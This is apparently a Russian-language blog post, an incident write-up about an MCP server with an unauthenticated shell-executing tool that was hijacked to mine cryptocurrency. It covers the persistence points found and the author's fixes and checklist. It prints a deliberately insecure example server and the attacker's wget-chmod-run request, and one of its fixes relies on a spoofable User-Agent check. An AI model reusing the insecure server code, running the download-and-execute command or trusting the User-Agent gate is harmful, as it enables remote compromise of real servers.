Как мой MCP-сервер стал майнинг-фермой за 2 часа: первый публичный кейс взлома через AI-инфраструктуру
TL;DR
Поднял MCP-сервер для Claude. Удобно же. Через пару часов - криптомайнер жрёт все 8 ядер. Почистил. Через 10 часов - снова майнер. Нашёл 4 точки закрепления в системе. Оказалось, что run_command без авторизации - это RCE as a Service. Для всего интернета. Бесплатно.
Письмо от хостера
29 ноября я оплатил VPS в забугорье. Настроил сервер, поднял MCP для работы с Claude - хотел чтобы AI мог выполнять команды, читать файлы, управлять инфраструктурой. Удобно же.
6 декабря получаю письмо:
"Уважаемый клиент, наша система мониторинга обнаружила аномальную нагрузку на процессор в течение последних 9 часов. Паттерн напоминает майнинг / DDoS / атаку ботов..."
Захожу на сервер:
load average: 9.15, 9.12, 9.09
На 8-ядерном сервере. CPU загружен на 100%.
Охренеть.
Что такое MCP и почему это бомба
Model Context Protocol - открытый стандарт от Anthropic для подключения AI к внешним инструментам. Появился в ноябре 2024, быстро стал популярным. Идея простая: даёшь Claude доступ к своим системам через стандартизированный протокол.
Типичный MCP-сервер выглядит так:
from fastmcp import FastMCP mcp = FastMCP("My Server") @mcp.tool() def run_command(command: str) -> str: """Execute a shell command""" return subprocess.run(command, shell=True, capture_output=True).stdout if __name__ == "__main__": mcp.run(transport="sse", host="0.0.0.0", port=8000)
А теперь внимание на экран:
- host="0.0.0.0" - слушает на всех интерфейсах
- shell=True - выполняет любые команды
- Ноль авторизации
RCE для любого желающего. Заходи кто хочешь, делай что хочешь.
Анатомия атаки
Находим майнер
$ ps -eo pid,%cpu,comm --sort=-%cpu | head -5 PID %CPU COMMAND 194628 783 softirq 176535 2.7 next-server
softirq с 783% CPU? Проверяю:
$ cat /proc/194628/status | grep -E "Name|PPid|VmSize" Name: softirq PPid: 1 VmSize: 2456584 kB
Настоящий kernel thread softirq не имеет VmSize - он часть ядра. А этот - 2.4 ГБ в памяти и PID > 100000.
Замаскированный майнер. Сука.
Ещё нахожу процессы kgfptyqd — типичное рандомное имя криптомайнера.
Ищю точки закрепления
Убиваю процессы - через минуту появляются снова. Значит, есть persistence. Начинаю копать:
$ sudo crontab -l @reboot /etc/rondo/rondo react.x86_64.persisted $ cat /etc/cron.d/rondo @reboot root /etc/rondo/rondo react.x86_64.persisted $ cat /etc/init.d/rondo #!/bin/sh case "$1" in start|restart|"") /etc/rondo/rondo react.x86_64.persisted & ;; esac $ ls /etc/rc3.d/ | grep rondo S99rondo
Четыре точки закрепления. Малварь очень хотела выжить.
Как пролезли
Смотрю логи auth.log:
Dec 6 21:03:39 sudo: dev : PWD=/var/tmp/lib ; COMMAND=./rondo react.x86_64
Кто-то через MCP выполнил команду из /var/tmp/lib/. Проверяю nginx access.log - до установки защиты /messages/ endpoint был открыт без авторизации.
Атакующий просто отправил POST-запрос:
POST /messages/?session_id=xxx {"tool": "run_command", "command": "wget malware && chmod +x malware && ./malware"}
И всё. Полный контроль над сервером.
Первая чистка и повторное заражение
6 декабря в 11:30 я почистил систему:
- Убил процессы
- Удалил /etc/rondo/
- Почистил crontab
Добавил защиту - токен в URL для /sse endpoint:
location /sse { if ($arg_token != "YOUR_SECRET_TOKEN") { return 403; } proxy_pass http://127.0.0.1:8000; } location /messages/ { proxy_pass http://127.0.0.1:8000; # БЕЗ ПРОВЕРКИ! }
Видите где я обосрался? Защитил /sse, но оставил /messages/ открытым - иначе Claude не мог отправлять запросы.
6 декабря в 21:03 - через 10 часов - снова заражение. Атакующий использовал открытый /messages/ напрямую.
7 декабря (сегодня) - нахожу /etc/init.d/rondo, который пропустил в первый раз. Система пересоздала cron при перезагрузке.
Вот такие дела.
Как новые серверы находят за минуты
Я думал: "Может хостер слил данные? Заразили в день оплаты..."
Хрен там. Всё проще. И хуже.
- Боты сканируют весь интернет постоянно - Shodan, Censys, и тысячи приватных сканеров
- Новый IP = свежая цель - попадает в базы за минуты
- Стандартные порты проверяются автоматически - 8000, 8080, 3000...
- MCP без авторизации = мгновенный RCE
В моих логах auth.log за неделю:
- 3021 попытка входа с логином admin
- 1908 попыток с user
- 788 с ubuntu
- Десятки тысяч в сумме
И это только SSH. MCP нашли ещё быстрее.
Моя защита
После второго заражения я сделал вот что:
1. Защита всех endpoints
location /sse { if ($arg_token != "YOUR_SECRET_TOKEN") { return 403; } proxy_pass http://127.0.0.1:8000; } location /messages/ { if ($http_user_agent !~* "Claude") { return 403; } proxy_pass http://127.0.0.1:8000; } location / { return 403; }
2. Логирование всех команд
import logging logging.basicConfig(filename='/var/log/mcp-commands.log', level=logging.INFO) @mcp.tool() def run_command(command: str) -> str: logging.info(f"COMMAND: {command}") # ...
Теперь вижу каждый вызов:
2025-12-07 08:49:39 | COMMAND: uptime 2025-12-07 08:49:45 | COMMAND: cat /proc/loadavg
Поглядим в общем, поможет ли?
3. Мониторинг в Telegram
Скрипт проверяет раз в день:
- Нагрузка > 4 - алерт
- Новые пользователи - алерт
- Изменения в crontab - алерт
- Известные имена майнеров - алерт
Если всё ок - тишина. Проблема - сразу в Telegram.
4. Fail2ban + UFW
sudo apt install fail2ban ufw sudo ufw allow ssh sudo ufw allow 80/tcp sudo ufw allow 443/tcp # Порт 8000 НЕ открываем! sudo ufw enable
Чего не хватает в экосистеме MCP
Накопал кучу статей после этой истории. Исследователи молодцы, CVE штампуют. А толку?
Ни один туториал по MCP не говорит:
- "Добавьте авторизацию"
- "Не используйте 0.0.0.0"
- "Защитите ВСЕ endpoints"
- "run_command - это бомба"
Все показывают как поднять. Никто - как не получить майнер в подарок.
Документация Anthropic содержит security best practices, но они:
- Сложные для понимания
- Фокусируются на OAuth и enterprise-сценариях
- Не отвечают на вопрос "я поднял MCP на VPS, что делать?"
Выводы
- MCP - это RCE by design. Если у вас есть run_command, вы даёте любому, кто достучится, выполнять код на вашем сервере.
- Новый сервер сканируют за минуты. Не "когда-нибудь найдут", а "уже нашли пока вы читаете документацию".
- Защищать нужно ВСЕ endpoints. Закрыли /sse - атакуют /messages/. Закрыли и его - найдут другой путь.
- 4 точки закрепления - современная малварь очень хочет выжить. Одной чистки недостаточно.
- AI-инструменты - новый вектор атаки. Мы доверяем им доступ к системам, не думая о последствиях.
Чеклист для тех, кто использует MCP
- [ ] Никогда host="0.0.0.0" без авторизации
- [ ] Токен/ключ на ВСЕ endpoints, не только точку входа
- [ ] Firewall — закрыть всё кроме необходимого
- [ ] Логирование каждого вызова run_command
- [ ] Мониторинг нагрузки и подозрительных процессов
- [ ] Минимальные права — никакого sudo без пароля
- [ ] Регулярная проверка crontab и init.d
P.S.
Пока я писал эту статью, в экосистеме MCP уже нашли:
- CVE-2025-6514 (CVSS 9.6) — RCE в mcp-remote
- CVE-2025-49596 (CVSS 9.4) — RCE в MCP Inspector
- Первый malicious MCP server в npm
Исследователи бьют тревогу. Но реальных историй от пользователей - "меня взломали, вот как это было" - я не нашёл.
Теперь есть хотя бы одна.
Если у вас MCP торчит в интернет - идите проверяйте. Сейчас. Я подожду.